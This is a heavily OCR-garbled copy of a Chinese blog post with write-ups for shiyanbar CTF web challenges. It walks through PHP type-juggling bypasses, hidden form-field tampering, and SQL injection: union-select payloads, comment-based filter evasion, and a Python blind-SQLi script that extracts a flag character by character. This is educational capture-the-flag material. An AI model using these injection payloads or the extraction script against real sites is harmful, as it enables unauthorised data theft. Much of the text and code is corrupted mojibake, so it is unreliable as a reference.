SIS I — WriteUp& &K EH (2)

BEEI F 2017-05-13 21:29:52 K 1 562 WO 1
HRER: CTE XEHRE: sqiEA

FRAUE R : ASCAEEEAISCE, #AE CC 4.0 BY-SA FRAUNL, ##iEM LR S H A s A s,
AR hitps://blog.csdn.net/sinat_34200786/article/details/71908266

CTF LREKFIZHE
19 RWXE 0T
LR

WriteUp

1. PHP K

2. Forms

3. FiEsqEA
4. fAi¥sqliEN2

k&5

1. Once More

2. EsqEANS

PHPK ¥

JF

Can yvou authenticate to this website? index. php. txt

WriteUp


https://blog.csdn.net/sinat_34200786
https://blog.csdn.net/sinat_34200786/category_6848682.html
https://so.csdn.net/so/search/s.do?q=sql%25E6%25B3%25A8%25E5%2585%25A5&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/sinat_34200786/article/details/71908266
https://blog.csdn.net/sinat_34200786/category_6848682.html
http://ctf5.shiyanbar.com/DUTCTF/index.php

<?php

if {eregi (“hackerDI”, $_GET[1d]}) |
echo (“<p>not allowed! </p>");
exit ()

1

$_GET[id] = urldecode($_GET[id]):
if ($_GET[id] == "hackerD]")
{

echo “<prhccess granted! {/p>";

echo “<prflag:; *sedeeedesesecess] {pn"
1
T

<hrx<brx
Can sou authenticate to this website?

Access granted!

flag: DUTCTF{PHP is the best program language}

Can you authenticate to this website? index.php.txt

Forms

PIN:
| Enter |



http://ctf5.shiyanbar.com/10/main.php
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<html>
<head>
<titlerForms</title>
< head>
<body>

Uzer with provided FIN not found.

<form action="" method="post”>
PIN: <br>
<input type="password” name="FIN" walue="">
{input type="hidden” name="showsource” walue=03
<button type="submit”*Enter</button>

< farm

</ bady>

< hkml

POST /10/main.php HTTE/L.L

Host: ctfS.shivanbar.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4; rv:52.0) Gecko/Z0Ll00101 Firefox/5Z2.0
Aocept: text/html,application/xhtml+xml, application/xml;q=0.9,*%/*;q=0.8
Aocept-Language: zh-CHN, zh:=0.8,en-US;gq=0.5,en;q=0.3

becept-Encoding: gzip, deflate

Referer: http://ctf5.shiyanbar.comw/l0/main. php

DNT: 1

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-£fo ur lencoded

Content-Length: 20

PIN=456&showsource=0

User with provided PIN not found.
PIN:
‘ ‘ Enter




POST /10/main.php HTTE/L.L

Host: ctfS.shivanbar.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4; rv:52.0) Gecko/Z0Ll00101 Firefox/5Z2.0
Aocept: text/html,application/xhtml+xml, application/xml;q=0.9,*%/*;q=0.8
Aocept-Language: zh-CHN, zh:=0.8,en-US;gq=0.5,en;q=0.3

becept-Encoding: gzip, deflate

Referer: http://ctf5.shiyanbar.comw/l0/main. php

DNT: 1

Connection: close

Upgrade-Insecure-Requests: 1 -

Content-Type: application/x-www-£fo rlencoded

Content-Length: 20

PIN=456&showsource=456|

$a = $_POST["PIN"];

if ($a == —19827747736161128312837161661727773716166727272616149001823847) {
echo “Congratulations! The flag is $flag”;

} else {
echo “User with provided PIN not found.”;

User with provided PIN not found.
PIN:
‘ ‘ Enter

Congratulations! The flag is ctf{forms are easy}
PIN:
| | Enter
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http://ctf5.shiyanbar.com/423/web/
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ID: "=
name: baloteli

ID: "=
name: kanawaluo
ID: *=’
nane: dengdeng

* admin) =

(selectselect * fromfrom admin) =
(selectselect * fromfrom admin) andand

server wversion for the right syntax to use near “* admin) = at line 1



e right syntaz to use near ’fromadmin) *’'= at line 1
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Table ’webl. adnin’ doesn’t exist

fTlag
FEL3E rAFAAvy?

| B2 |

ID: 1° wunion select flag from flag where =
name: baloteli

ID: 1° wunion select flag from flag where =
nane: flag{YOu @r3_50 dimn_900d}
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http://ctf5.shiyanbar.com/web/index_2.php
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ID: 1’ f*¥*funionf/+*/select/**fflagf**x/fronf**xfflagf**fvheref+x/""=’
name: baloteli

ID: 1’ f*¥*xfunionf/+*/select/*xfflagf**x/fronf**fflagf**fwheref+*x/" "=
name: flag{YOu_@r3_50_dAsn_900d}
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| Check |
| View the source code |
<?php
if (izzet ($_GET[ password 1)) |
if (ereg (" [a-=z&-I0-91+%", $_GET[ password’]) === FALSE)
{
echo " <p>Tou password must be alphammeric</p>’ ;
1
else if (strlen(} _GET[ password 1) < 8 && $_GET[ password ] » 99950003)
{
if (strpos ($_GET[ password’ ], “#—*"} l== FALSE)
{
die("Flag: ° . $flag);
1
elze
{
echo(” <p>¥—* have not been found</p> )
1
1
else
{ -
echo © <prInwvalid password</p:"; A
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http://ctf5.shiyanbar.com/web/more.php

Flag: CTF {Ch3ck_anD_Ch3ck}
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Hello!


http://ctf5.shiyanbar.com/web/index_3.php
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wrrav(): supplied argument is not a walid M¥3QL result resource in F:\AlbnH3a\ctf\web
Table "webl, admin’ doesn’ t exist

import requests

flag = "'
for i in range(1,30):

for n in range(33,126):
url = "http://ctf5.shiyanbar.com/web/index_3.php?id=1%27%20and%20ascii(substr((select%20f1lagk20from%20-i

lag), "+str(i)+',1))="+str(n)+'%23"
html = requests.get(url).text
if 'Hello' in html:
flag += chr(n)
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